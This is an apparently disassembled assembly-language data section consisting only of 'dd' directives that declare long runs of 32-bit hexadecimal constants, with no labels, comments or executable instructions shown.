		dd 39DBC247h, 750AA09Bh, 87A4F059h, 6E9D5CC5h, 7EB03A80h
		dd 0C1EB1B48h, 0AC41FAFEh, 8B7CE7A4h, 0F6296F16h, 9E83110h
		dd 0E390A09Ah, 0B2212E3Ah, 0B631BF64h, 0D915D1AFh, 4358B0FEh
		dd 65B88844h, 4CA1FE0h,	702B2A93h, 75A13EDEh, 7EA4A736h
		dd 2B8A5CC4h, 1C83E321h, 43B76479h, 0E6F364F2h,	0DE2EB2ADh
		dd 9F21261Ah, 79ED913Eh, 0C3B28898h, 95946114h,	92822D49h
		dd 1674CA87h, 0FF7CB54Fh, 0EFD4D084h, 9BC2B6BAh, 66B3828Ch
		dd 2C77DC68h, 854A7A9Bh, 0F1372307h, 0A330633Fh, 888C4C2h
		dd 7D6EBCB0h, 3D78112Ch, 0A1F0FBE5h, 0EB8D410Ch, 0E55F6BE9h
		dd 0DDDE6100h, 0B8AF1F94h, 0A67CFA24h, 0E2B05BFBh, 0DA526EABh
		dd 0C5A980DBh, 7BA90D5Ah, 6D7EE4A1h, 14FACB16h,	5A45821Ch
		dd 2CE4675Bh, 1751EBBBh, 48A9B805h, 0EAC2B20Ah,	4092E9F2h
		dd 2C9910BCh, 0FE8EF48Dh, 0F592411Dh, 557E2F0Dh, 1007AC0Fh
		dd 63F3658Eh, 591CF4CFh, 7568BE31h, 0ECD4B3EEh,	0AB6DED5Bh
		dd 43F5ECF1h, 755907F6h, 713FC07Ah, 0FDA0B8E5h,	816AC808h
		dd 0A5F428EAh, 49AE90ECh, 31936177h, 0C5E2413Ah, 113FBEC1h
		dd 0B9B8A5B3h, 6CEB1A4Ah, 6EE0A963h, 1CF60A56h,	18C0E5DBh
		dd 3E208541h, 0D0CDC5D4h, 28A20791h, 5F7DC89Bh,	0BE08EA84h
		dd 0D703BE21h, 35C633C0h, 213DA71Eh, 0A52EBD8h,	7A06C49Ah
		dd 706C891Ch, 52EA856Bh, 0D79368Eh, 80DA19DFh, 450F76DAh
		dd 4770046Bh, 917D42FCh, 0E93FFE68h, 0FD7CB84Ah, 96BBC539h
		dd 0C0287D4h, 0F70A0B0Ah, 0EC2E8574h, 0E2BC4305h, 0CAB9DCD7h
		dd 3EE425F3h, 992CEF13h, 79BC03D9h, 0E7B5FE35h,	0C89E129Ch
		dd 57B389A4h, 0BB0583ACh, 74608423h, 8CC1CC3Eh,	95B0746Fh
		dd 8100A15Eh, 8290E7E6h, 79C7A9EBh, 4ADF5318h, 268A7489h
		dd 589B1185h, 3D719DAAh, 58CC1C64h, 99032887h, 9FB41651h
		dd 0DD633D0Ch, 0A8558CEDh, 0E217F226h, 8B319EACh, 30A0FEA1h
		dd 0B4393182h, 6DA78C01h, 8C12B0Eh, 3D0C6BC0h, 0BA2C9019h
		dd 0F515AE7Dh, 15F7894Dh, 0A9D26C4h, 6F281A27h,	6A3655CFh
		dd 6DE2E4E9h, 0A45F224Eh, 9167A55Ah, 5ABA3F21h,	9241A757h
		dd 0C8FA1D7Ah, 4F102E0Bh, 0EFAF3FF4h, 0FE47879Fh, 0DFF15467h
		dd 0C2ED4A3Dh, 2090421h, 0C0E3DA68h, 32EFFAD9h,	81D83F60h
		dd 3F29286Ch, 8EFFD2C6h, 0AE0F0A9Bh, 0BAA4F7FEh, 7991029Ch
		dd 6CFBF897h, 277A8EEBh, 8AD109ADh, 9BA0D9A3h, 18E1BCB0h
		dd 2A662D17h, 0A50C753Ch, 0A08B4725h, 8645BD64h, 0E3700A8h
		dd 27E1A26Ah, 398552AFh, 0C4A40441h, 0A5E65D55h, 1D5AD5Fh
		dd 0E15F580h, 48FDB8FBh, 6E24ABECh, 0B75A69F9h,	0B344E717h
		dd 0B1CB046h, 206D7083h, 0B7A1F361h, 4246CF55h,	11712E4Ch
		dd 8B6D8224h, 5BB71EF8h, 431F8FE8h, 40149F9Dh, 38D38FEh
		dd 29D8E0C6h, 0D5D7D08h, 0E2E39A56h, 698F32C4h,	5FD210EFh
		dd 4F43D34Dh, 8BBA8219h, 2D01B239h, 5EC2334Ch, 0C0EF16E6h
		dd 4D113200h, 9B1532C6h, 54E34E66h, 0CE856F7Ch,	2907B541h
		dd 1E6E0A27h, 6AC86A1Fh, 6A233141h, 0C5EDF7A2h,	0FC026ACAh
		dd 0C9DAC65Eh, 0C359BF3Ah, 588E3E14h, 0D0952BD5h, 12710C66h
		dd 22FC63ABh, 241C2790h, 88E49F47h, 0F094BCB9h,	0A4216827h
		dd 4439BA95h, 63DCF6F9h, 9E5CABD6h, 0DB35DF24h,	0D7D6056Bh
		dd 61D17912h, 0BA945D64h, 17A34FE4h, 0B63CD843h, 750A038Bh
		dd 0C3D71C80h, 7D5E9E03h
		dd 155E5C7h, 487641CDh,	73A9779Ch, 9BE5967Fh, 4A5B3BBBh
		dd 9B1653B1h, 5E035EF3h, 941FC242h, 0FEF3E940h,	9CC55B72h
		dd 88F57ECAh, 3998FCBh,	60BBF419h, 0E2B62E56h, 0A4DC9CD1h
		dd 0DF613785h, 476E3A9Ch, 898ED42h, 0E4EFB93Fh,	1CF2FC75h
		dd 0F40D2B99h, 0F92D0822h, 64E4752Bh, 3CE75B5Dh, 0D2386DE4h
		dd 0D50B14Ah, 0B0B0F411h, 8CE4A2F0h, 94DB89A2h,	4BAD8CBEh
		dd 90AB2BCAh, 11F5418Eh, 0D7D185BAh, 0BAE73B07h, 67593BE4h
		dd 8CF243B8h, 0FD6B06B3h, 0CE66E5EDh, 17E7D74h,	0FE4B2C25h
		dd 8CF6B072h, 0F1C40AF4h, 6768B869h, 0EFA44335h, 5B694CE5h
		dd 0F8942397h, 3BE17F2Ch, 0EE125165h, 68CA221h,	0E7FB3929h
		dd 0A006C72Dh, 75891F02h, 7C5AC625h, 27E57B87h,	0BB0A0AB7h
		dd 756E533Ch, 0A8227E2Ch, 50825A78h, 0C6D3CFADh, 37CAFE07h
		dd 0EB586267h, 6AFCAE7Eh, 0D5BA9D5Dh, 3399824h,	8BF1C010h
		dd 4F969312h, 9D1FEE30h, 2288E32Dh, 19E8F42Dh, 1A9D911h
		dd 9503568Bh, 0F394A95Fh, 0F90580E4h, 482CDADh,	67B98255h
		dd 0CB9FC16Fh, 59A6D46Ah, 9895FB11h, 0E40ED53Ah, 0D65D0EC5h
		dd 2E6FCAAFh, 0E1A17E0Ch, 6EA54027h, 0BD77464Dh, 83F450D2h
		dd 0E735C908h, 2ADF70DAh, 0AF7FD2B4h, 0F2948225h, 0F66FB65h
		dd 59018AC3h, 0FFECB9EEh, 0A3CE062Ah, 0DED4A71Bh, 86047ACFh
		dd 9A16BB96h, 0F78E6CB2h, 7FEB31B3h, 46507FA2h,	365D9AE0h
		dd 0B65C8CE6h, 0C5EC8A9Ch, 10FB782Dh, 0A0177D8Fh, 0C526E868h
		dd 6954B7DAh, 4CA1C183h, 2EFF4537h, 0F812189h, 51A7947Ch
		dd 852CD918h, 0F4D0964Eh, 1D20FDA8h, 8257FFEAh,	0DE9D531Eh
		dd 30442A77h, 0A39D9698h, 1CAAB5FDh, 38D3264Ah,	96967D3Ah
		dd 0DF9E2F5Ah, 58C2E817h, 2B983DDDh, 0FE2229E7h, 54608957h
		dd 8421BC6Fh, 79C3705Dh, 2428E2B7h, 0B89A171h, 0D04BAAFh
		dd 1E948E42h, 739F9431h, 0CED3962Ch, 418775FEh,	0B79C4E54h
		dd 0FD5442Ah, 1CE56B5Fh, 4FF55ED0h, 0E8C05DF5h,	0A3DF76A3h
		dd 0AD94092Dh, 8B648D79h, 0C3E95CB7h, 0F0C40DD4h, 6082C04Fh
		dd 3E772C8Ch, 0AF55D0D2h, 0C2C36E1Fh, 9B019FFAh, 90282734h
		dd 81B7FB76h, 91F78A1Fh, 0C5EA25A3h, 2B61AB2Fh,	0AFF96589h
		dd 71B0EA2h, 30BB57FBh,	791CAF37h, 0CA9EC966h, 8361514h
		dd 0BA6AD111h, 0C220FFCAh, 5A60B9DCh, 0A3F97E4h, 6E425C91h
		dd 57343F78h, 0B3F3893Ch, 292CDA51h, 0E26774A1h, 0A45FF2B2h
		dd 2EB54A3h, 6B0A6499h,	1C63FE90h, 1F06574Ch, 7CF524A7h
		dd 3245A2F9h, 5079DE89h, 9D67F498h, 630C6E07h, 8A64ACCh
		dd 574A52C2h, 0D75B296Bh, 0F764346Bh, 792414CBh, 0E79AF54Fh
		dd 508E1B5Bh, 5385F133h, 0E656E447h, 5DF6A5AEh,	47FB0E69h
		dd 1F22BE39h, 119648C9h, 68B91E76h, 2F3C1330h, 58CB9941h
		dd 6C2131Ah, 0AA042590h, 0CA0D10DCh, 36FE20F2h,	4CC789E3h
		dd 0E108084Ch, 0DB2A1367h, 0D0D29A5h, 5A07A0A5h, 99E938E4h
		dd 68C6C9FDh, 5A4FA9B0h, 0F78FBFF2h, 0BD7F8AD1h, 49736901h
		dd 0D048B5B7h, 1B3640FEh, 477F5F55h, 0D0ED1EE4h, 0C789A869h
		dd 2F5BEEDCh, 50DA3E86h, 6BC53DE1h, 0FA1918ECh,	0C675EB85h
		dd 0AD5D29E3h, 644BD4F3h, 56DBA08Ah, 4BD978Dh, 0DF83BC26h
		dd 3D9802D4h, 63511244h, 0A48D544Fh, 32E0BCC1h,	511C3D65h
		dd 0E11ECE49h, 0AECCBCFEh, 0CDD7A85Dh, 0BDA69AABh, 0FCA827A8h
		dd 77F6E4B9h, 0B32931BAh, 2C7F1A18h, 894288F0h,	2D6C1ADEh
		dd 987F9724h, 7CB60B50h, 0BE3389C6h, 6278DB0Ah,	0C61EB5Ch
		dd 0A85CFA2Bh, 0E5FA7117h, 4E024989h, 6DDCA791h, 0EB28224Dh
		dd 0C060F3A4h, 1D51E2Eh, 6A1D7001h, 467AE154h, 0F3407C6Dh
		dd 3FC93058h, 0E564D892h, 5DE5C409h, 0A9E77C68h, 0D742E7D8h
		dd 66650442h, 0F98FF099h, 0FD84A477h, 0EF96C05Dh, 83BACC17h
		dd 94AC05B9h, 0AB2BC32Dh, 0D475A308h, 9DCE424h,	46743BC2h
		dd 883C3CD0h, 4412FFB7h, 72D739Ah, 0F91A22BCh, 36835FCDh
		dd 349F56BBh, 0F035CFFDh, 730A3FFh, 6591FE40h, 4A86739Ah
		dd 35DDDE70h, 0D5348EA0h, 0D79E8C9Ah, 0B443CCF3h, 3EEC0DD3h
		dd 8240F3F1h, 0E1A8C00Dh, 12D59F90h, 0DB0F6F68h, 0D8149EFh
		dd 0AF86831Fh, 86E5669h, 94654570h, 76644F1Ah, 486230h
		dd 0F9A2785Fh, 0DFED9EFCh, 2522431Ch, 0DFA827C3h, 703A3EB3h
		dd 0CF046029h, 0B686010Eh, 2BDB1231h, 456739F1h, 0CACD54BFh
		dd 2250C9Fh, 48456EF2h,	0F360640Fh, 3BA158CBh, 0F26CD6Ah
		dd 0BE0B2F33h, 0EFF9E44Dh, 0FE504822h, 0BAB396B2h, 1BF95C41h
		dd 0BD966E8Bh, 7A0FB222h, 36320C60h, 0FDEB677Ch, 0B68C5982h
		dd 694C1014h, 0F4EC94E8h, 3096BF6Eh, 3040411h, 574BC7FBh
		dd 0BCE76824h, 2BD6248Dh, 3B069464h, 86010AB4h,	364823FAh
		dd 4370BCC9h, 19020818h, 58C71D25h, 0C9F1BDE5h,	9CD043B2h
		dd 23AE335Dh, 76ED2A83h, 8EAA340Ah, 20CE2706h, 0BBBBE48h
		dd 0AA8E4A28h, 0F08EC3AFh, 0AB1285h, 315E00Fh, 0C6665D21h
		dd 0EDD99A1Fh, 0BF61B786h, 0C0C4AECEh, 417331AAh, 4C6A855Ah
		dd 56592CE5h, 4C742624h, 3A004C4Ch, 0A054EE57h,	8FB1D7BEh
		dd 334DD5FCh, 76D20373h, 0D17BF0B3h, 0AC5A1959h, 2F09FF1Ah
		dd 0A4CE7286h, 6008BDE7h, 0FD0DB542h, 0A5E095E7h, 4E6E6057h
		dd 2F19CC78h, 9A2A5DA3h, 0A456B9A5h, 3D5E66ABh,	0C7EC54C5h
		dd 0B09758D6h, 8C9F8CF2h, 0F3479D1Ch, 6A71C7ACh, 0A3CBD875h
		dd 0F7BE0551h, 0E1FA7B5Bh, 0EC37EAA6h, 3DC0635Bh, 5A97B3E1h
		dd 0A3496DBAh, 9EEF808Bh, 3338C9E2h, 0ACD312B0h, 3E1169C5h
		dd 9AEDE225h, 4F68770h,	20FBE6F6h, 0EF049C77h, 9E01D64Dh
		dd 8E2B778Fh, 5D74B37Bh, 425480E0h, 0FF083861h,	0C4DFAC5Dh
		dd 0FA6EB2FCh, 23BF4D01h, 0C41F0F90h, 6F3105Dh,	0ED0F63F9h
		dd 0ECAF1865h, 4836C0C9h, 0F97A1F10h, 90E00952h, 1121784Dh
		dd 413557F2h, 4C2D23Fh,	0E8FD9853h, 0BB0D04BFh,	61483008h
		dd 2C4F4E2Ch, 75EDA961h, 0BA5421D2h, 0DE3615A4h, 9A992724h
		dd 0EA016576h, 0A80A726Dh, 21694AA5h, 6E72CDA6h, 6628EB5Bh
		dd 6FD794D0h, 0AA639C03h, 54CC1499h, 3EBBDE1Dh,	0F1B9373Eh
		dd 4F5FF94Ch, 77957824h, 0AA085900h, 15849A04h,	23830247h
		dd 23E49C3Dh, 5B854957h, 0C28CAA78h, 54C99893h,	0FE9A6A0Fh
		dd 8A64C0F9h, 634C63D6h, 42408E03h, 62D31480h, 0A1B058B2h
		dd 0D194D685h, 24419D7Eh, 98071B15h, 0A5DD0642h, 262A4692h
		dd 8C0D48B8h, 0D1534591h, 11FAEC12h, 6C53E720h,	0FBE1768Eh
		dd 3BC305E9h, 23E67368h, 6361DEDBh, 5E82FAE3h, 19D4D0Ch
		dd 0F6153765h, 9B4C954Ah, 952FBC2Ah, 0B679412Ch, 0B2174BAEh
		dd 91ED5642h, 4F23B8C8h, 2795C7A3h, 8CB13817h, 38D470Ah
		dd 0F70C3353h, 8E774066h, 5DDB4E88h, 8C3A9158h,	572EB469h
		dd 101C9F98h, 199F85F1h, 0E507B3B0h, 0BF63D452h, 0EBBE0971h
		dd 7B112B62h, 13577A5Dh, 0BA3F75B9h, 41CCEEF1h,	2ADDDE08h
		dd 0F192630Eh, 73A3A412h, 87A074FDh, 8766FE7h, 6DF70E0h
		dd 2F6DCF9Fh, 0EE703AFh, 3E107D00h, 13360DCAh, 1E22B050h
		dd 0B5EB143Ah, 4F56A6EBh, 3B05D4AFh, 21CF1036h,	0BBC9B401h
		dd 9C72446Ch, 43E07BFCh, 1AE53E2Ch, 0FB06B0D5h,	3FFEA1DBh
		dd 0B623418Ch, 4757C70Ah, 4A496286h, 0B0080A12h, 0BAD47B76h
		dd 37A4DCF0h, 0BB4E0963h, 5B04B3Bh, 0C6680E7Eh,	76DD62DEh
		dd 6ED1B110h, 9A160861h
		dd 0C7D6397Bh, 0A71B8A1Eh, 4A6E058Bh, 8C21863Eh, 7D353827h
		dd 35FB2CB9h, 0ED341B21h, 88EC99F7h, 61D528B7h,	58846E1Dh
		dd 1966AE42h, 0EA48F904h, 3DB09BCh, 0BB8CF1BCh,	0F01E62BBh
		dd 0DDEA497Dh, 0E6E6690Ch, 32ADC9A0h, 0CB10ECB0h, 2E076AFBh
		dd 2116B89Dh, 0D49D7023h, 0A7834460h, 218073A1h, 384BAC92h
		dd 0CB652763h, 9337E78Fh, 0D43B39E0h, 96D926ECh, 8C159AB4h
		dd 4CEB13C7h, 67D6C285h, 48370FC7h, 0BDA366C3h,	54CB6D7Fh
		dd 0B2292B8Ch, 814E4E98h, 331F1AEBh, 0D0E80C53h, 4DA78BC3h
		dd 445C0B73h, 0FF16273Eh, 0B7377CBAh, 95CC2690h, 175671A8h
		dd 41157A03h, 0A9F986E2h, 0E20E49F7h, 9059FFA4h, 0F8AC5356h
		dd 36A2B625h, 1EB72BF3h, 0FE03EB67h, 2176292Eh,	0E69F7172h
		dd 0EE87DDD5h, 889C3B31h, 11C919F7h, 0E1BCC79Dh, 0D1036A6h
		dd 0DB7DADC8h, 22E25E19h, 78BF1FFDh, 7F8FC3C5h,	81F8B2E3h
		dd 0E4A39100h, 0EB82747h, 2AD1F73Ah, 0E48AC65h,	5499AD93h
		dd 5BAACEA7h, 3F02FC8h,	0C3326F7Ch, 0C48DBD41h,	0D90B021Fh
		dd 854675DFh, 4615707Bh, 15270001h, 0F86B6284h,	0F99727E2h
		dd 92CFB377h, 0D1784DBCh, 3A36C864h, 69FF64B0h,	2D8ED99Dh
		dd 38FBF5Dh, 763EA8D0h,	48D1548Eh, 0E9E931A3h, 8067898Bh
		dd 0BE8380C5h, 0F8C652B3h, 306F26EBh, 655BA4D6h, 83CDC24Dh
		dd 3706AE0Bh, 0F53984ADh, 0FA0E165h, 0D8432307h, 66F5D6C4h
		dd 6D743C64h, 2C271D2h,	32CA3205h, 49754429h, 3A60D233h
		dd 0CCE5F8EBh, 0B16D360h, 458E5289h, 41D6D050h,	0B395AC7Ah
		dd 4B609FA8h, 0F5BA51ECh, 0D82D9E71h, 0C8A5D28Dh, 0B948CB9Bh
		dd 0D3D3FE51h, 0F4CB1263h, 376E000h, 95EC69EBh,	0E1904C2Dh
		dd 26E6AAD5h, 21EF9180h, 60CFAD3h, 3C4044C3h, 10D9E80Eh
		dd 982518F7h, 0F28C4818h, 628024C9h, 0E1B1E9FCh, 72A83E36h
		dd 498AF3E2h, 13014BD2h, 5D56B948h, 7D9B222h, 470BC267h
		dd 799B61C2h, 0FE8D3B2Ah, 346CADCCh, 38BF07CEh,	0D6234CC5h
		dd 72E16367h, 548F91D2h, 4AA73F2Eh, 0F2DD91D0h,	0EF5D0047h
		dd 0D2F30178h, 0D4FEC360h, 810DB9FAh, 1BCFE083h, 2EF4A769h
		dd 0CC2C6B4Fh, 903493A5h, 244AFD43h, 72DA582Ch,	9A811451h
		dd 9E0838EDh, 0D1B54D9Ah, 4740C44h, 5AC370ECh, 0AA3D8632h
		dd 0E7E28269h, 1BDAC767h, 1183782Ah, 5EAC6189h,	0B507B892h
		dd 3D756297h, 530CF0DAh, 0CA370AE4h, 482CE93Eh,	7C54EB2Bh
		dd 65082098h, 1FD0800Ch, 1C1740F5h, 0DB9C4C7Bh,	0F2CF77AEh
		dd 8AB6E8F6h, 0F2ABA0A1h, 0DA1D80Eh, 1CFADFCEh,	3F7F9A53h
		dd 2E70C228h, 8E755C51h, 30472D4Fh, 9FAA1AA4h, 90DAC560h
		dd 4AA5C50Dh, 941E204h,	7C4D75BDh, 0A529F247h, 0BA30A1A8h
		dd 0EE9D9603h, 0F8079554h, 0C3E05F77h, 0EB31F98Ah, 19D5EEC7h
		dd 6714F16Dh, 78C65394h, 0F9C6974Fh, 0C2D3939Ch, 0F259A852h
		dd 17F24E97h, 0B9223AB2h, 57B1BEE3h, 94A83020h,	0AB3E8794h
		dd 44BB6185h, 0E2711706h, 9B024ADDh, 0B53B924Ch, 0DB141FECh
		dd 77CB1D8Bh, 16DADCE1h, 8E7E8983h, 591F9CC2h, 8225BD92h
		dd 0A104D8E2h, 6C2E7168h, 8AD6CB7Ah, 1D027DA7h,	99056B50h
		dd 9F5D9998h, 0CCC8FDC2h, 9FF83202h, 0DAE017CBh, 1933D30Eh
		dd 0DAD3D77Fh, 89919E35h, 457F7A4Fh, 75C71882h,	86FA59A5h
		dd 39A44376h, 308FB622h, 0BC3B85C5h, 1504E357h,	5CDB24EEh
		dd 71035FEBh, 0E8383EFEh, 8953D8F7h, 2D12DA5Ch,	0E5499C49h
		dd 9B33CAA0h, 42765852h, 0FA3C020h, 0EDFF675Ch,	0F1E740A7h
		dd 2C4049A1h, 6B8F65CFh, 303747E8h, 6754D1C7h, 94978E82h
		dd 3228C260h, 0FB9A810Eh, 2727E8D4h, 0BC969EB1h, 36F199B4h
		dd 8DD25055h, 0F4669761h, 6EB53652h, 1A0B5727h,	0DB9D4F84h
		dd 0B92CAFC5h, 15985B0h, 4D1B7505h, 0F0E5EF68h,	0DF05D537h
		dd 5AF3F282h, 1249C87Eh, 0ADA7CE95h, 0C71829E1h, 5E74BA1Dh
		dd 0E12DBB4Bh, 0DF1E81BCh, 0CEA7E56Bh, 57BD8B33h, 18EEA5E6h
		dd 0EAAD4FD0h, 0DB292E62h, 682EA659h, 77B4A4CEh, 5BFDFB49h
		dd 747C5440h, 8ACF6A38h, 64FB0967h, 0B6CDAE3h, 40081A50h
		dd 2EA7441Ah, 16F29FF2h, 1278F48Dh, 1C37AD1h, 0F0AAA63Ah
		dd 660FF880h, 0EDE6C6Bh, 0DE6C7E2Eh, 0B7D51CD9h, 5998FCA5h
		dd 5067FBABh, 4BB9576Fh, 0CBCF3763h, 0EFE30D28h, 0D8BA0512h
		dd 956244E7h, 3F5B752h,	109F2D04h, 71125959h, 2A08858Bh
		dd 0EF058BC9h, 36FD6EB9h, 55EDB3BFh, 0FFFE96F8h, 93423FCCh
		dd 95E68A5Ch, 1D4D3F8Fh, 0A9D8EE63h, 0A477A2EFh, 276AA109h
		dd 57950947h, 52C628ADh, 0EF03A7D8h, 0F0DD9FEFh, 9E6DC8D1h
		dd 86705E3Bh, 39ED5C75h, 5B4C4101h, 35A5EED3h, 0D8A90BE2h
		dd 0D82311C0h, 5948ABD5h, 0FB978B13h, 833702C6h, 8D3C811Bh
		dd 0F2F39498h, 0F0CD24D7h, 0F205A0F5h, 0D0C25EDAh, 10F98303h
		dd 22EE7371h, 4101E5ECh, 16CACC2Eh, 1581E938h, 0CB4AD7CAh
		dd 4381106h, 0C2ECA2B0h, 0EB3E8256h, 7D42D5ECh,	41EE48ADh
		dd 2F0B0874h, 3EF6B972h, 0E1CDFB9Fh, 8A4FA6F1h,	9F919FF7h
		dd 0CF214BB2h, 89006FCFh, 17E8A11Fh, 0CF5E5A95h, 0FE3BEBC2h
		dd 0A4D5F77Eh, 903C07Ch, 0ED77E5B3h, 88154F29h,	0B5B305B5h
		dd 0A92C2ADDh, 96FF2238h, 370FA907h, 0F0A01B3Eh, 0BD4FA39Ah
		dd 7CD1A909h, 0EC48185Fh, 0F073FA34h, 0F16D9C6Ah, 2BD3BE52h
		dd 9261A5F6h, 73B9F1F5h, 0A5397F26h, 35ED1FF1h,	0AC7D8C37h
		dd 0DA7B3E88h, 0DA42915Ah, 2B63A838h, 0F51D135Fh, 2A05157Eh
		dd 977A8BCFh, 0C56DB8E1h, 390A8F6Dh, 0FA81BAF9h, 8B3CEA95h
		dd 0C1AE7367h, 13E40529h, 0A26570D3h, 7EB82231h, 5BF88E52h
		dd 7FF41AACh, 15772F7Bh, 45A86FF6h, 8C140BD3h, 5B4EAE04h
		dd 5DB27AA9h, 5AEC7428h, 0EA91D638h, 99155DB2h,	0CDAC6043h
		dd 0E0DD441Fh, 0E7A6BF04h, 9935AB70h, 14A32E72h, 0EBE7F5FAh
		dd 785DB4A4h, 0ABCC4E2Bh, 9CDD9FEEh, 0A057C00h,	0B3439EF2h
		dd 332A37D4h, 92033235h, 0D11FF97Ah, 3274C722h,	0F80B9B5Eh
		dd 2A32D5DCh, 7A6FD43Bh, 15087E5Ch, 57DF02CEh, 0C4A66483h
		dd 0F65B6708h, 3E686E3Fh, 0DFCB00BEh, 0E8516C17h, 7DFD66F5h
		dd 0EEFFEEA7h, 785484E6h, 8181BD25h, 77304CE9h,	4B0490D8h
		dd 3E425B1Eh, 38B0D83Eh, 6CD93D7Ah, 13323C5Eh, 61CB6C31h
		dd 0C8EF6DDFh, 1666C86h, 0A89CCA41h, 0E94476DEh, 0D10447ABh
		dd 7F4F03E4h, 0B0FCE6B8h, 0DAEDB89Ch, 0A8A5F732h, 0AEFFEBB5h
		dd 70BA9A17h, 0C6E825F6h, 79589900h, 0A4031A8Ah, 0F8B25296h
		dd 9CF5359Bh, 7912922h,	38462710h, 0C6FCEEF0h, 0F48225A0h
		dd 0B33CC02Bh, 2100A5EDh, 9356A325h, 734F8498h,	3CD3BDCFh
		dd 7CB8B7F9h, 0C83E5A4Dh, 24FA2A18h, 408AB139h,	0FA9E25D0h
		dd 7A17C40Fh, 0BBA1D39Fh, 0B51D57FCh, 15D7941Bh, 9071CD5Bh
		dd 342BDFA8h, 1FEEC790h, 0D30BC6DEh, 1B949E19h,	30C2FF0Fh
		dd 33466027h, 0E6BEF9AFh, 84BC6EAAh, 5D395BB1h,	69D63762h
		dd 0D4F80165h, 37BD23C0h, 27F335F7h, 0A3BF1EE1h, 30BDA15Eh
		dd 20EFF6B3h, 0B153BCD3h, 2D864B96h, 854A8FA3h,	79831C4Eh
		dd 337CD925h, 8D3720E3h, 6E359315h, 0C247AAD3h,	0D7F57979h
		dd 745B7CE0h, 0A85F95C7h, 44AD8D8h, 0FA82FF00h,	9EE9F927h
		dd 7980A26Ch, 1970508h,	0A2754A95h, 0C4EA2477h,	824F70Dh
		dd 0D0D9624Ch, 8C1A8DDDh, 0ADDD2E06h, 0E115DBF7h, 86AF38A2h
		dd 0E720CAB7h, 2AF48A1Dh
		dd 8E41D977h, 0DDC5F318h, 0A34B03E9h, 95221A75h, 0BF5175A9h
		dd 0C51B543Dh, 63BA4238h, 84D3E6DAh, 0A95A048h,	0AA9E0762h
		dd 18E3D12Eh, 1A0E0E1Bh, 3642128Dh, 0DA044B3Dh,	1B7C8FEEh
		dd 430113F9h, 46FBFC15h, 169310DEh, 1D9EAD70h, 43BFDA83h
		dd 29C2A017h, 5E3F81E8h, 0A6F9939h, 0FB8237B5h,	0F29428FDh
		dd 0D3CC0BBDh, 74B13D9Ch, 5EF4C893h, 20DF7A83h,	23D25396h
		dd 4D846FFh, 850099B1h,	73DBADFCh, 70874A54h, 6CCC1006h
		dd 0D7D3AE00h, 779F340h, 24103BB2h, 0ADB2658Ch,	720633B8h
		dd 0A3D4D92Dh, 0BC194718h, 7BD0D8C2h, 4DFB6153h, 0EEE207ABh
		dd 9DF8B4C2h, 0C9F248E2h, 0AFD7594Ch, 543A6691h, 350B061Dh
		dd 4C18D049h, 833F1D8Ah, 0C8435C76h, 0D9EC3BBCh, 0ACCB57A8h
		dd 0FB966F66h, 0EEB8A026h, 39257EA5h, 2E09B817h, 0FC5BEF6Dh
		dd 41053E95h, 0F87E6DC7h, 18390052h, 256555F2h,	91EA7FAAh
		dd 0C08023FFh, 663A63B2h, 0A7A7F924h, 4376FEADh, 0B693DD14h
		dd 1C03C7AEh, 4247D9BDh, 431C6C31h, 0A244DBFEh,	0DFAAE25Ah
		dd 0AA3089AEh, 79CD1AC2h, 7657A849h, 0F5028C26h, 0C43D2F6h
		dd 84E5372Ch, 0CC5A5BD7h, 0E2CDE61Bh, 35B1478h,	33429F26h
		dd 0E033DAE0h, 5EEB1BECh, 9B13AEB1h, 0AC34FFF3h, 0B5367B71h
		dd 3B6F1B20h, 0AC560B11h, 11438ACDh, 0E3EFDDE4h, 1F385D23h
		dd 8D3B191Bh, 6D11518Bh, 0C29152C8h, 0F642DCEEh, 0EDB10F4Fh
		dd 0B6EF8C1Dh, 1B8F9443h, 470F674Bh, 0B34BFBC7h, 7D786643h
		dd 46352F11h, 0CD2E69D6h, 6BD67153h, 0FA515289h, 0D2AD5FC6h
		dd 0FE90B170h, 0C0BCF680h, 0F1AD8E8Ch, 23F28B3Fh, 141006D5h
		dd 0B886C0C8h, 0DBA8EDBEh, 69751A0Dh, 7A08EDF4h, 61815A8Dh
		dd 0DA4700E1h, 1DEE7887h, 78E74F28h, 0D9A41483h, 7A9AEB6Eh
		dd 411224EDh, 6F538C63h, 0D3932A37h, 0FA55B996h, 0F3E302FFh
		dd 0FFE5B0D9h, 69C14475h, 99F1BFC9h, 0E8E0940Bh, 5509DF7Eh
		dd 0F6250B6h, 5FF73E36h, 9456F0D7h, 2E0025B8h, 0FA012BBDh
		dd 0FB0F0D97h, 1B8841BCh, 3AFB8463h, 48783BCAh,	1EEBAF8h
		dd 0B618B0D1h, 6167E4FCh, 0B8408281h, 0F7DAB22h, 0F0B5791Fh
		dd 88E94EB7h, 5BDD7AC5h, 0D6DAE2DDh, 1855870Eh,	22B6600Dh
		dd 0F8C40E81h, 3107365Ch, 248EDD10h, 6B9F124Dh,	0DFD8284h
		dd 0BF1126EFh, 8C868E78h, 15BB474Bh, 5ED3A6BDh,	6931F354h
		dd 328DCA74h, 6E05DB75h, 6AE8787Ch, 52DB910Ch, 0A3AA7D4h
		dd 24898B55h, 0F587303Eh, 2119D48Dh, 7A41F064h,	0A284C542h
		dd 95E5D7D4h, 12622DA7h, 0C4665A2Ch, 0E4F11420h, 0BC1289DFh
		dd 8624EAB4h, 0BD5662D1h, 0DA29864Bh, 0DC33D711h, 56524B91h
		dd 0BF18A17Bh, 0A6E4A458h, 938B12BFh, 195F1A7Eh, 0CEA808C9h
		dd 6982BFD9h, 8C9FF980h, 1F62EC4Bh, 48C12A65h, 7AC3AE3Ch
		dd 0C0826F11h, 6A815852h, 4735CEA3h, 4C2ADFD5h,	0F2FB6DC9h
		dd 15A11E25h, 0D309D662h, 3F11EE54h, 0C106E9DBh, 0E15CE533h
		dd 0CC364289h, 0D52EA175h, 78BEA413h, 7FC1DF27h, 54317335h
		dd 9F4EC207h, 0E33DB944h, 616C417Ch, 131E1293h,	18F94C3Bh
		dd 53268453h, 0A2753262h, 56E6848Dh, 0D6183307h, 0ED80418Eh
		dd 961777A2h, 0FB0DFABDh, 582647ADh, 9423EB80h,	0B9263FBEh
		dd 65D817B4h, 97D9B86h,	69131337h, 4DCC3D2Ah, 99338A49h
		dd 0FD07D6DAh, 7EA09895h, 0A35A7597h, 4F555043h, 0EFCA4D05h
		dd 0E5D548E7h, 0EE0FF282h, 3212EA69h, 8D6D42CFh, 0CE22148h
		dd 0C11CAA4Ch, 95E84B5Eh, 6D47DCE8h, 349C0E2Ah,	0A74CB871h
		dd 39D46BB4h, 23D31FDDh, 36C72CD2h, 0ADAE275Fh,	0BA076B91h
